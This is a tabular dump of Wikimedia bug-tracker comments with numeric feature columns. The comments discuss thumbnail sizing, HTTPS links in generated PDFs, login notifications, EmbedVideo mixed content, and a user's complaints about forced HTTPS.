328656,"When a larger-than-original thumbnail is requested from thumb.php, return original image instead of HTTP 500 error","How does returning the original help? If you know the size of the original, you can just cap the requested size on the client size. If you don't know the original size, the result will look crappy anyway.

Returning the original image for a practically infinite variety of URLs would AFAIK result in pollution of the varnish cache as the image would have to be stored there for every URL separately.",,,1413999899,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-fuapw72rokpk4kcjhcjm,task_subcomment,,True,c3,1,True,,,-37,True,1.0,0.0,0.0,1.0,1.0,9.0,0.0,0.0,0.0,3.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,9.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,4.0,3.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,1.0,9.0,4.0,0.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,14.0,1.0,1.0,0.0,0.0,4.0,0.0,1.0,1.0,0.0,3.0,0.0,0.0,0.0,4.177215189873418,0.6455696202531646,"How does returning the original help? If you know the size of the original, you can just cap the requested size on the client size. If you don't know the original size, the result will look crappy anyway.

Returning the original image for a practically infinite variety of URLs would AFAIK result in pollution of the varnish cache as the image would have to be stored there for every URL separately."
328653,"When a larger-than-original thumbnail is requested from thumb.php, return original image instead of HTTP 500 error",I use this for dynmaic thumb resizing with javascript.,,,1413996579,,PHID-USER-qjb2hbe663dhrrpskylp,False,,,PHID-TASK-fuapw72rokpk4kcjhcjm,task_subcomment,,True,c3,1,False,,,-37,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.6,1.0,I use this for dynmaic thumb resizing with javascript.
328648,"When a larger-than-original thumbnail is requested from thumb.php, return original image instead of HTTP 500 error",Why should this happen?,,,1413922145,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-fuapw72rokpk4kcjhcjm,task_subcomment,,True,c3,1,True,,,-37,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,20.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Why should this happen?
73590,External links inside PDF should not be HTTPS when page was accessed via HTTP,"Form Iran and China Https access is difficult so these two countries use Http for mediawiki projects.

Pdf which is generated by Collection extension has Https link on their internal Link
http://fa.wikipedia.org/wiki/%DA%A9%D8%A7%D8%B1%D8%A8%D8%B1:Yamaha5/bug_of_pdf

I connected to wiki with http but the pdf's links are in https

--------------------------
**Version**: unspecified
**Severity**: normal",Lowest,10.0,1412310120,1614503611.0,PHID-USER-dswbdv7ibhsefllcqarz,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-nxxih4v7t3qkwpcba7ou,task_description,declined,True,c3,1,False,False,False,-39,True,0.0,0.0,0.0,1.0,0.0,7.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,9.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,1.0,1.0,0.0,0.0,0.0,16.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,19.0,0.0,3.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,3.0,9.0,12.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.205882352941177,0.7941176470588235,"Form Iran and China Https access is difficult so these two countries use Http for mediawiki projects.

Pdf which is generated by Collection extension has Https link on their internal Link
URL

I connected to wiki with http but the pdf's links are in https

--------------------------
**Version**: unspecified
**Severity**: normal"
1673955,External links inside PDF should not be HTTPS when page was accessed via HTTP,Declining as https://wikitech.wikimedia.org/wiki/HTTPS happened in the meantime.,,,1614503611,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-nxxih4v7t3qkwpcba7ou,task_subcomment,,True,c3,3,True,,,295,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,25.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.5,1.0,Declining as URL happened in the meantime.
930270,External links inside PDF should not be HTTPS when page was accessed via HTTP,"As already announced in [[ https://meta.wikimedia.org/wiki/Tech/News/2017/37 | Tech News ]], OfflineContentGenerator (OCG) will not be used anymore after October 1st, 2017 on Wikimedia sites. OCG will be replaced by Electron. [[ https://www.mediawiki.org/wiki/Special:MyLanguage/Reading/Web/PDF_Functionality | You can read more on mediawiki.org. ]]",,,1505380702,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-nxxih4v7t3qkwpcba7ou,task_subcomment,,True,c3,3,True,,,115,True,0.0,0.0,0.0,4.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,2.0,12.0,16.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,3.6862745098039214,0.7058823529411765,"As already announced in [[ URL | Tech News ]], OfflineContentGenerator (OCG) will not be used anymore after October 1st, 2017 on Wikimedia sites. OCG will be replaced by Electron. [[ URL | You can read more on mediawiki.org. ]]"
331477,External links inside PDF should not be HTTPS when page was accessed via HTTP,"(In reply to Andre Klapper from comment #1)
> Could you rephrase ""use IP's log in ssh""? I'm afraid I don't understand it. 
> Did you mean SSL? What is an ""IP's log""?

Now bug summary is True",,,1412333095,,PHID-USER-dswbdv7ibhsefllcqarz,False,,,PHID-TASK-nxxih4v7t3qkwpcba7ou,task_subcomment,,True,c3,1,False,,,-39,True,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,14.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2857142857142856,0.9047619047619048,"(In reply to Andre Klapper from comment #1)
QUOTE
QUOTE

Now bug summary is True"
331472,External links inside PDF should not be HTTPS when page was accessed via HTTP,"Could you rephrase ""use IP's log in ssh""? I'm afraid I don't understand it. 
Did you mean SSL? What is an ""IP's log""?",,,1412330406,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-nxxih4v7t3qkwpcba7ou,task_subcomment,,True,c3,1,True,,,-39,True,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,6.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,6.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,22.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,14.0,3.0,8.0,8.0,11.0,0.0,14.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,2.638888888888889,0.7222222222222222,"Could you rephrase ""use IP's log in ssh""? I'm afraid I don't understand it. 
Did you mean SSL? What is an ""IP's log""?"
72487,"Show no ""central login"" notification for framed pages","When visit [1] the notification about ""central login"" is shown, but the autologin does not work, because it is not a wmf page (so no security problem).
But it is scary to read such notification. It is possible to disable the autologin notification, when the autologin is not possible?



[1] http://www.systranet.com/turl/?systranbanner=1&systrangui=WebUI&systranuid=aHR0cC1kZS53aWtpcGVkaWEub3JnL3dpa2kvV2lraXBlZGlhOkhhdXB0c2VpdGUvZW5fZXM%3D

--------------------------
**Version**: unspecified
**Severity**: normal",Lowest,10.0,1410006480,1550245283.0,PHID-USER-a6jwrurphpx6yl4coupk,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-edvcviwhvizjukbbdue7,task_description,duplicate,True,c3,1,False,False,False,-43,True,0.0,0.0,0.0,1.0,4.0,9.0,5.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,7.0,5.0,2.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,4.0,6.0,0.0,1.0,2.0,0.0,4.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,2.0,3.7529411764705882,0.611764705882353,"When visit [1] the notification about ""central login"" is shown, but the autologin does not work, because it is not a wmf page (so no security problem).
But it is scary to read such notification. It is possible to disable the autologin notification, when the autologin is not possible?



[1] URL

--------------------------
**Version**: unspecified
**Severity**: normal"
71454,EmbedVideo extension delivers youtube videos using http instead of https causing modern browsers to block the content,"**Author:** `ttguy1`

**Description:**
If you use the EmbedVideo extension to embed a youtube video eg {{#ev:youtube|dMH0bHeiRNg}} then the html created delivers the youtube content over http. If the wiki running the EmbedVideo extension is delivering content over https then the resulting page is detected by modern browsers as containing mixed content and the youtube embeded video is blocked.

Users can unblock the content but they might not know that they can do this. I did not know at first.

The solution would be for the extension to deliver the content from youtube over https - youtube can do this. I guess the extension should some how detect if the wiki is using http or https and send youtube data in the matching format.

--------------------------
**Version**: REL1_20-branch
**Severity**: normal
**URL**: https://userbase.kde.org/Kdenlive/Manual/Effects/Blur_and_hide/Auto_Mask",Lowest,10.0,1407897660,1408078573.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-4azbdzfz7shotyvicbmj,task_description,invalid,True,c3,1,False,False,True,-47,True,0.5,0.0,0.0,1.0,1.0,2.0,0.5,0.0,0.0,1.5,1.0,0.0,0.0,0.0,0.0,1.0,1.0,3.0,8.0,0.0,1.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.5,0.5,4.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.5,0.5,0.0,0.0,0.0,0.5,19.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,2.5,8.5,2.5,2.0,9.5,0.0,0.0,0.0,0.5,5.0,0.0,0.5,0.0,2.5,8.0,2.0,0.0,0.0,0.0,2.5,0.0,0.5,0.5,0.0,2.5,0.0,0.0,0.0,3.9772727272727275,0.6420454545454546,"**Author:** CODE

**Description:**
If you use the EmbedVideo extension to embed a youtube video eg {{#ev:youtube|dMH0bHeiRNg}} then the html created delivers the youtube content over http. If the wiki running the EmbedVideo extension is delivering content over https then the resulting page is detected by modern browsers as containing mixed content and the youtube embeded video is blocked.

Users can unblock the content but they might not know that they can do this. I did not know at first.

The solution would be for the extension to deliver the content from youtube over https - youtube can do this. I guess the extension should some how detect if the wiki is using http or https and send youtube data in the matching format.

--------------------------
**Version**: REL1_20-branch
**Severity**: normal
**URL**: URL"
320694,EmbedVideo extension delivers youtube videos using http instead of https causing modern browsers to block the content,"Ah, thanks for finding that. Looks like it should be handled there, hence closing the ticket in WIkimedia Bugzilla as it's not handled here",,,1408078573,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4azbdzfz7shotyvicbmj,task_subcomment,,True,c3,1,True,,,-46,True,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,7.0,14.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.142857142857143,0.8928571428571429,"Ah, thanks for finding that. Looks like it should be handled there, hence closing the ticket in WIkimedia Bugzilla as it's not handled here"
320691,EmbedVideo extension delivers youtube videos using http instead of https causing modern browsers to block the content,"**ttguy1** wrote:

Thanks Andre. I think this issue is being covered as https://github.com/Whiteknight/mediawiki-embedvideo/pull/39",,,1407969709,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4azbdzfz7shotyvicbmj,task_subcomment,,True,c3,1,False,,,-47,True,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2,0.85,"**ttguy1** wrote:

Thanks Andre. I think this issue is being covered as URL"
320687,EmbedVideo extension delivers youtube videos using http instead of https causing modern browsers to block the content,"https://www.mediawiki.org/wiki/Extension:EmbedVideo says this is not maintained anymore and hosted on Github, so the bug reports should probably be created at
https://github.com/Whiteknight/mediawiki-embedvideo/issues instead.",,,1407917987,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4azbdzfz7shotyvicbmj,task_subcomment,,True,c3,1,True,,,-47,True,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,8.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,4.0,8.0,12.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.12,0.96,"URL says this is not maintained anymore and hosted on Github, so the bug reports should probably be created at
URL instead."
320682,EmbedVideo extension delivers youtube videos using http instead of https causing modern browsers to block the content,"**ttguy1** wrote:

A comment at https://www.mediawiki.org/wiki/Extension_talk:EmbedVideo#HTTPS_support_with_embedded_youtube says this could be fixed:
It's pretty easy : simply modify EmbedVideo.Services.php to replace frame src ""http://"" by ""https://"" in youtube* php array.",,,1407900180,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4azbdzfz7shotyvicbmj,task_subcomment,,True,c3,1,False,,,-47,True,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,10.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,2.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,21.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,10.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.5476190476190474,0.7857142857142857,"**ttguy1** wrote:

A comment at URL says this could be fixed:
It's pretty easy : simply modify EmbedVideo.Services.php to replace frame src ""URL by ""URL in youtube* php array."
71319,"Allow option to  uncheck ""Always use a secure connection when logged in"" at login.wikimedia.org/wiki/Special:Preferences","**Author:** `cometstyles`

**Description:**
I generally use wikimedia wikis on the non-secured http format so over the last 2 years, whenever i end up on a wiki where the ""Always use a secure connection when logged in"" is checked (by default), i'm forced into https which also forces my other wikis including the major ones into https, which can only be fixed via logging out multiple times on each wiki. I'm a filemover on commons which means when i rename i file, i'm auto-logged into all the wikis the files is on to replace them but because i'm randomly logged out of most of them wikis due to this irritating 'bug', I'm unable to replace the files on those wikis, I'm lucky if i even get 2 wikis done...

so please allow a global option to ""uncheck"" 'Always use a secure connection when logged in' at https://login.wikimedia.org/wiki/Special:Preferences to allow users like me to keep our http option instead of randomly getting logged out of wikis. currently the 'check' option is greyed out...

Https is slow and does not cache, and I'm on a somewhat slow internet access with limited data so being forced to cache scripts everytime i refresh just wastes away my data and I'm not the only one, all 3rd world countries have users on slow internet connection, they are probably affected in the same way..when i was on dialup on enwiki between 2006-2010, i was fast and that time there was no https option, now even on a slightly faster speed (7mbps connection), it feels worse than dial up at times when i end up on https ...

--------------------------
**Version**: unspecified
**Severity**: enhancement",Lowest,10.0,1407551580,1434485024.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-2azn7tbcvhqe4h53jjuw,task_description,resolved,True,c3,1,False,False,True,-47,True,0.75,0.0,0.0,1.25,0.5,6.25,1.0,0.25,0.0,0.25,1.0,3.5,0.25,1.0,0.25,5.25,0.25,7.5,12.5,0.0,1.5,0.0,0.0,0.25,0.75,0.0,0.0,0.25,0.25,0.0,0.25,6.75,1.0,0.25,0.0,0.0,0.0,0.25,1.0,0.5,0.25,0.75,0.25,3.25,0.25,0.5,0.0,0.0,0.0,12.25,0.25,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.75,0.0,0.25,1.0,0.0,0.0,0.5,1.0,0.25,4.25,2.75,3.75,2.25,1.25,7.0,0.0,0.0,0.0,0.0,2.75,0.25,1.5,0.0,6.5,12.5,1.5,0.0,2.5,0.0,6.5,0.0,2.5,1.75,0.75,1.0,0.5,0.25,0.0,3.7120422346966047,0.7226677358994921,"**Author:** CODE

**Description:**
I generally use wikimedia wikis on the non-secured http format so over the last 2 years, whenever i end up on a wiki where the ""Always use a secure connection when logged in"" is checked (by default), i'm forced into https which also forces my other wikis including the major ones into https, which can only be fixed via logging out multiple times on each wiki. I'm a filemover on commons which means when i rename i file, i'm auto-logged into all the wikis the files is on to replace them but because i'm randomly logged out of most of them wikis due to this irritating 'bug', I'm unable to replace the files on those wikis, I'm lucky if i even get 2 wikis done...

so please allow a global option to ""uncheck"" 'Always use a secure connection when logged in' at URL to allow users like me to keep our http option instead of randomly getting logged out of wikis. currently the 'check' option is greyed out...

Https is slow and does not cache, and I'm on a somewhat slow internet access with limited data so being forced to cache scripts everytime i refresh just wastes away my data and I'm not the only one, all 3rd world countries have users on slow internet connection, they are probably affected in the same way..when i was on dialup on enwiki between 2006-2010, i was fast and that time there was no https option, now even on a slightly faster speed (7mbps connection), it feels worse than dial up at times when i end up on https ...

--------------------------
**Version**: unspecified
**Severity**: enhancement"
475865,"Allow option to  uncheck ""Always use a secure connection when logged in"" at login.wikimedia.org/wiki/Special:Preferences","The preference was rendered ineffective with the HTTPS transition ( http://blog.wikimedia.org/2015/06/12/securing-wikimedia-sites-with-https/ ), and I believe a code change was submitted to hide the option going forward as well, so this whole issue (for better worse depending on your POV) is moot now.",,,1434485024,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-2azn7tbcvhqe4h53jjuw,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,0.0,4.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,15.0,9.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,11.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,9.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,4.0,4.0,0.0,0.0,4.0638297872340425,0.8936170212765957,"The preference was rendered ineffective with the HTTPS transition ( URL ), and I believe a code change was submitted to hide the option going forward as well, so this whole issue (for better worse depending on your POV) is moot now."
314263,"Allow option to  uncheck ""Always use a secure connection when logged in"" at login.wikimedia.org/wiki/Special:Preferences","**cometstyles** wrote:

Its less about it being slow and more about it being irritating..why should you en""forcehttps"" on me (via cookies) even though i have disabled that option in that wiki's preference? ..you people are refusing to see this as a bug/a problem..but its a major pain in the ass for me so please, allow users to globally TURN OFF this pathetic option, no one cares about security on the wiki...

You are sacrificing speed for security (which is unnecessary).. I edit 40+ wikis a day from all domains and this is seriously becoming quite irritating..even deleting the ""forcehttps"" cookies logs me out of everything and prevent me from login back in unless i delete all centralauth related cookies..if you refuse to fix this, atleast come up with a global script to allow users to bypass this idiotic option.",,,1410876091,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-2azn7tbcvhqe4h53jjuw,task_subcomment,,True,c3,1,False,,,-42,True,1.0,0.5,0.0,0.0,0.0,5.5,1.0,0.0,0.5,1.0,2.0,0.0,0.0,0.0,0.0,4.0,1.5,5.5,14.5,0.5,2.5,0.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,6.0,0.5,2.0,0.5,2.0,0.0,0.5,0.0,1.0,0.5,0.0,0.0,2.5,0.0,1.5,0.0,0.0,0.0,13.0,1.0,2.5,1.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,4.5,3.0,2.5,2.0,2.5,10.5,0.0,0.0,0.0,0.0,4.0,0.5,0.5,0.0,8.0,14.5,0.0,0.5,1.5,0.0,8.0,0.0,1.0,2.5,2.0,3.5,1.0,0.0,0.0,3.9726677358994924,0.797781341887196,"**cometstyles** wrote:

Its less about it being slow and more about it being irritating..why should you en""forcehttps"" on me (via cookies) even though i have disabled that option in that wiki's preference? ..you people are refusing to see this as a bug/a problem..but its a major pain in the ass for me so please, allow users to globally TURN OFF this pathetic option, no one cares about security on the wiki...

You are sacrificing speed for security (which is unnecessary).. I edit 40+ wikis a day from all domains and this is seriously becoming quite irritating..even deleting the ""forcehttps"" cookies logs me out of everything and prevent me from login back in unless i delete all centralauth related cookies..if you refuse to fix this, atleast come up with a global script to allow users to bypass this idiotic option."
314258,"Allow option to  uncheck ""Always use a secure connection when logged in"" at login.wikimedia.org/wiki/Special:Preferences","(In reply to Cometstyles from comment #0)
> Https is slow

It's been explained on IRC already that this is not correct, and that the reason for the slowness when using HTTPS is likely not HTTPS itself but something outside (provider? routing?); and comment 2 has explained that the specific HTTPS preference that you refer to is only applied for the *handshake* anyway.

Summarizing how I understand things: 
The problem that you experience is very likely triggered by something else and changing that preference would not solve your problem.",,,1410793571,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2azn7tbcvhqe4h53jjuw,task_subcomment,,True,c3,1,True,,,-42,True,0.0,1.5,1.0,2.5,2.0,3.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,1.0,1.0,9.0,7.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,7.5,1.5,1.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,1.0,0.0,2.0,0.0,1.5,9.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,3.0,0.0,0.0,2.0,0.5,0.0,4.0,3.5,7.5,3.5,2.5,5.5,0.0,0.0,0.0,0.5,1.0,0.0,1.5,0.0,5.0,7.5,2.5,1.0,0.0,0.0,5.0,0.0,3.5,0.0,0.5,3.0,0.0,0.0,0.0,4.289187227866473,0.8095065312046444,"(In reply to Cometstyles from comment #0)
QUOTE

It's been explained on IRC already that this is not correct, and that the reason for the slowness when using HTTPS is likely not HTTPS itself but something outside (provider? routing?); and comment 2 has explained that the specific HTTPS preference that you refer to is only applied for the *handshake* anyway.

Summarizing how I understand things: 
The problem that you experience is very likely triggered by something else and changing that preference would not solve your problem."
314253,"Allow option to  uncheck ""Always use a secure connection when logged in"" at login.wikimedia.org/wiki/Special:Preferences","**cometstyles** wrote:

And trying to remove the ""forcedHTTPS"" cookies kills all my logins and i can no longer log in and then i'm forced to delete all my cookies related to ""centralauth"" and then i have toi manually log oint oall wikis one by one by visiting them...I sometimes edit over 40 different wikis a day, this is very very very irritating..please find a fix fast, Allow users the option to OPT-OUT of https......FGS!!...",,,1410789709,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-2azn7tbcvhqe4h53jjuw,task_subcomment,,True,c3,1,False,,,-42,True,2.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,6.0,1.0,10.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,16.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,6.0,0.0,4.0,7.0,0.0,0.0,2.0,0.0,5.0,1.0,3.0,0.0,7.0,10.0,4.0,0.0,4.0,0.0,7.0,0.0,0.0,2.0,1.0,3.0,0.0,0.0,0.0,3.6530612244897958,0.7142857142857143,"**cometstyles** wrote:

